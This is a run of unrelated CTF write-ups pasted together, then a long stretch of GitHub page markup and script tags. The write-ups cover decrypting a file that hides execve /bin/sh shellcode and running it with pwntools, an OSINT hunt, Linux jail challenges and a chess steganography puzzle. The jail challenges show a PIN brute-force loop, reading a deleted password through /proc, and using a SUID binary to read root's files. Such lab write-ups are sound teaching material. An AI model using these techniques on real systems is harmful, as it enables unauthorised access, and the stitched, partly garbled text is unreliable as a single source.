xxd Final_decryption.jpeg | head00000000: d4a0 b6c8 696c 9335 e8fd c21e 04ab ba08 ....il.5........00000010: 3fc2 1dee 5b20 9ab4 a3d9 4110 245c 7111 ?...[ ....A.$\q.00000020: 1906 bcb6 b81f 1530 7237 430a e924 7cd6 .......0r7C..$|.00000030: e2ff 3419 6732 a877 c68c af0d f8e9 7c96 ..4.g2.w......|.00000040: 9472 a275 2d2a cacb 4a96 9cbe 0e50 c34a .r.u-*..J....P.J00000050: 8c7d 174f dd84 aa4a 0d17 b623 7edf 62b8 .}.O...J...#~.b.00000060: 0178 098f f205 2f2d df0c 25fb c7c7 0baa .x..../-..%.....00000070: 5d1d 8248 0de8 be94 ac6c 7dbe 39ae e574 ]..H.....l}.9..t00000080: 7c32 d5df 2a03 1c93 8f86 49cf 9ff6 f299 |2..*.....I.....00000090: 4eda f6e9 99ff 5bb4 5d15 06ad f73c 9d4c N.....[.]....<.L```Not a JPEG file, next try append:
## Append to file```pyfrom Crypto.Util.strxor import strxorori = open("original",'r').read()first = strxor("7dd`8c6dg08068`1","\x01"*16)last = strxor("7845dee1g7b14bdc","\x01"*16)
open("file",'w').write(first+ori+last)```Run it:```bashpython solve.py
./decryptor * File is valid[+] Decrypted File has been generated. (FinalDecryption.jpeg)
file Final_decryption.jpeg Final_decryption.jpeg: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=6, xresolution=86, yresolution=94, resolutionunit=2, datetime=2020:07:12 01:05:18], comment: "shellcode: \x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x6", baseline, precision 8, 700x366, components 3
```Can see it decrypted a JPEG file!!
The image just a door with some binary code:

Notice there is a comment looks interesting:```comment: "shellcode: \x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x6"```Run `strings` on it to get the full code:```\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x19\x00\x00\x00\x65\x63\x68\x6f\x20\x2d\x6e\x65\x20\x54\x4d\x43\x54\x46\x7b\x67\x30\x30\x64\x77\x30\x72\x6b\x7d\x00\x56\x57\x48\x89\xe6\x0f\x05```Shellcode is also [machine code](https://en.wikipedia.org/wiki/Machine_code) only computer can understand (because 0 and 1)
Use Pwntools can convert to assembly code:```pycontext.arch = "amd64"print disasm("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x19\x00\x00\x00\x65\x63\x68\x6f\x20\x2d\x6e\x65\x20\x54\x4d\x43\x54\x46\x7b\x67\x30\x30\x64\x77\x30\x72\x6b\x7d\x00\x56\x57\x48\x89\xe6\x0f\x05")
```Result:```asm 0: 6a 3b push 0x3b 2: 58 pop rax 3: 99 cdq 4: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f6e69622f b: 73 68 00 e: 53 push rbx f: 48 89 e7 mov rdi,rsp 12: 68 2d 63 00 00 push 0x632d 17: 48 89 e6 mov rsi,rsp 1a: 52 push rdx 1b: e8 19 00 00 00 call 0x39 20: 65 63 68 6f movsxd ebp,DWORD PTR gs:[rax+0x6f] 24: 20 2d 6e 65 20 54 and BYTE PTR [rip+0x5420656e],ch # 0x54206598 2a: 4d rex.WRB 2b: 43 54 rex.XB push r12 2d: 46 7b 67 rex.RX jnp 0x97 30: 30 30 xor BYTE PTR [rax],dh 32: 64 77 30 fs ja 0x65 35: 72 6b jb 0xa2 37: 7d 00 jge 0x39 39: 56 push rsi 3a: 57 push rdi 3b: 48 89 e6 mov rsi,rsp 3e: 0f 05 syscall```Also can run it:```pyfrom pwn import *context.arch = "amd64"p = run_shellcode("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x19\x00\x00\x00\x65\x63\x68\x6f\x20\x2d\x6e\x65\x20\x54\x4d\x43\x54\x46\x7b\x67\x30\x30\x64\x77\x30\x72\x6b\x7d\x00\x56\x57\x48\x89\xe6\x0f\x05")print p.recv() ```And we get the flag!!!```[x] Starting local process '/tmp/pwn-asm-Eb7ELF/step3-elf'[+] Starting local process '/tmp/pwn-asm-Eb7ELF/step3-elf': pid 239648[*] Process '/tmp/pwn-asm-Eb7ELF/step3-elf' stopped with exit code 0 (pid 239648)-ne TMCTF{g00dw0rk}```
Just printing the shellcode also reveal the flag:```'j;X\x99H\xbb/bin/sh\x00SH\x89\xe7h-c\x00\x00H\x89\xe6R\xe8\x19\x00\x00\x00echo -ne TMCTF{g00dw0rk}\x00VWH\x89\xe6\x0f\x05'```Believe it is running syscall `execve` (rax=0x3b can checking in the [syscall table](https://filippo.io/linux-syscall-table/))
The command should be `/bin/sh -c "echo -ne TMCTF{g00dw0rk}"`
## Alternative solutionWe also can solve it without using the `decryptor` program
We know the key is the hash we appended to the file
The hash is `6eea9b7ef19179a06954edd0f6c05ceb`
That is MD5 hash of `qwertyuiop`! (One of the string in data)
Therefore, we can just decrypt the file with this key using python:```pyfrom arc4 import ARC4file = open("original",'rb').read()arc4 = ARC4('qwertyuiop')open("flag.jpeg",'wb').write(arc4.decrypt(file))```Flag.jpeg:

[Python script](test/solve.py)
[Python script 2](test/solve2.py)
## Flag```TMCTF{g00dw0rk}``` |
## Troll Hunt - 100pts
We've identified a malicious troll who may be linked to a ransomware-esque virus. They've been making posts using the hashtag "#shrive". For now, just sift through the irrelevant junk and try to find another one of their accounts.
### Solution
First, i tried to look up at #shrive on twitter, but it was too crowded with other users using the hashtag. However, when i searched #shrive malware a user by the name V760DHM popped up.Looking at it's twitter page, it's first post was a picture linked to imgur. After that, when i open it's imgur page, an image of a trollface show up. The flag in the post, under the comment section.




__flag : flag{shu7_up_4nd_d4nc3_G5jM30}__ |
# Challenge: Linux Starter>Don't Try to break this jailssh [email protected] -p 8001 password : wolfie
## SolutionWe get into a `rbash` shell. We run some simple commands and get the flag```bashwolfie:~$ cat *cat: bin: Is a directorycat: imp: Is a directorywolfie:~$ cat imp/*darkCTF{h0pe_y0u_used_intended_w4y}```## Flag:>darkCTF{h0pe_y0u_used_intended_w4y}
# Challenge: Find-me>Mr.Wolf was doing some work and he accidentally deleted the important file can you help him and read the file?ssh [email protected] -p 10000 password: wolfie
## SolutionAs the question suggests about the delete file. I went to `/proc/10/fd` and found 3 files there.```bashwolf1@7e6800eb0d43:/proc/10/fd$ ls -latotal 0dr-x------ 2 wolf1 wolf1 0 Sep 28 14:56 .dr-xr-xr-x 9 wolf1 wolf1 0 Sep 28 14:56 ..lr-x------ 1 wolf1 wolf1 64 Sep 28 14:57 0 -> /dev/nulll-wx------ 1 wolf1 wolf1 64 Sep 28 14:57 1 -> /dev/nulll-wx------ 1 wolf1 wolf1 64 Sep 28 14:57 2 -> /dev/nulllr-x------ 1 wolf1 wolf1 64 Sep 28 14:57 3 -> '/home/wolf1/pass (deleted)'wolf1@7e6800eb0d43:/proc/10/fd$ cat 3mysecondpassword123```I found out there are 2 users in the home directory.```bashwolf1@7e6800eb0d43:/home/wolf1$ ls ../wolf1 wolf2```So I used the above password to gain access to `wolf2`. And searched for files in it.```bashwolf2@7e6800eb0d43:/home/wolf2$ find . -type f./.bash_logout./.bashrc./.profile./proc/g/nice_workwolf2@7e6800eb0d43:/home/wolf2$ cat proc/g/nice_work | rev}galf eht no gnidnats era uoy{FTCkrad
darkCTF{w0ahh_n1c3_w0rk!!!}```## Flag:>darkCTF{w0ahh_n1c3_w0rk!!!}
# Challenge: Secret Vault >There's a vault hidden find it and retrieve the information. Note: Do not use any automated tools.ssh [email protected] -p 10000
## SolutionI found the vault file```bashdark@941b05d2d95a:/home/dark$ find /home -type f/home/.secretdoor/vault/home/dark/.bash_logout/home/dark/.profile/home/dark/.bashrcdark@941b05d2d95a:/home/dark$ cd /home/.secretdoor/dark@941b05d2d95a:/home/.secretdoor$ lsvaultdark@941b05d2d95a:/home/.secretdoor$ ./vault 1234
wrong pin: 1234```Wrote a script to bruteforce PIN```bashdark@5a95bae226e7:/home/.secretdoor$ nr=0; while true; do nr=$((nr+1)); if [[ $(./vault $nr) != *"wrong"* ]]; then ./vault $nr; echo $nr; fi; done;
Vault Unlocked :A79Lo6W?O%;D;Qh1NIbJ0lp]#F^no;F)tr9Ci!p(+X)7@ 8794```Base85 decode the string gives the flag.
## Flag:>darkCTF{R0bb3ry_1s_Succ3ssfullll!!}
# Challenge: Squids >Squids in the linux poolssh [email protected] -p 10000 password: wolfie
## SolutionI searched a little and I found a interesting SUID binary.```bashwolf@04a47f9b0d08:/home/wolf1$ find /opt -type f/opt/src/src/iamrootwolf@04a47f9b0d08:/home/wolf1$ cd /opt/src/src/wolf@04a47f9b0d08:/opt/src/src$ ./iamroot 324cat: 324: No such file or directory```It can run `cat` command as root```bashwolf@04a47f9b0d08:/opt/src/src$ ./iamroot /root/flag.txtdarkCTF{y0u_f0und_the_squ1d}```## Flag:> darkCTF{y0u_f0und_the_squ1d} |
SolutionThe challenge is about steganography. Given the GIF file, there are two ways the flag could be encoded there: images or the game itself.
It turns out it is possible to encode data in a chess game. Google gives this as a first result: https://incoherency.co.uk/chess-steg/index.html
Also a CLI version: https://github.com/Alheimsins/chess-steg-cli
So, we need to get a PGN representation of the game. We could do this in at least 2 ways:
1. Convert all moves to PGN format by hand.
2. Write a program which splits the GIF into frames, analyzes frames and outputs game in PGN format.
We go with 2nd approach since it's smarter and more reliable.
We implement a simple chess OCR, and get the output for our game. First part of the solution: [solution1.py](https://github.com/oioki/balccon2k20-ctf/blob/master/misc/noob-game/solution/solution1.py)
./solution1.py > game1.txt
See [game1.txt](https://github.com/oioki/balccon2k20-ctf/blob/master/misc/noob-game/solution/game1.txt)
We can try to import to lichess.org, and it completes successfully. However, current representation is not complete -- marks for capturing pieces and checks are missing. But after exporting from lichess.org it is fixed. See [game2.txt](https://github.com/oioki/balccon2k20-ctf/blob/master/misc/noob-game/solution/game2.txt)
Now we can try to decode this game with chess-steg-cli. If we try to decode the whole game, the tool shows the error Illegal move played??. This could happen if we have more moves than enough to encode the message. We will try to reduce number of moves in the party and get the flag in a game with 101 moves. See [solution2.py](https://github.com/oioki/balccon2k20-ctf/blob/master/misc/noob-game/solution/solution2.py) and its [output](https://github.com/oioki/balccon2k20-ctf/blob/master/misc/noob-game/solution/solution2.output) |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" />
<script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> 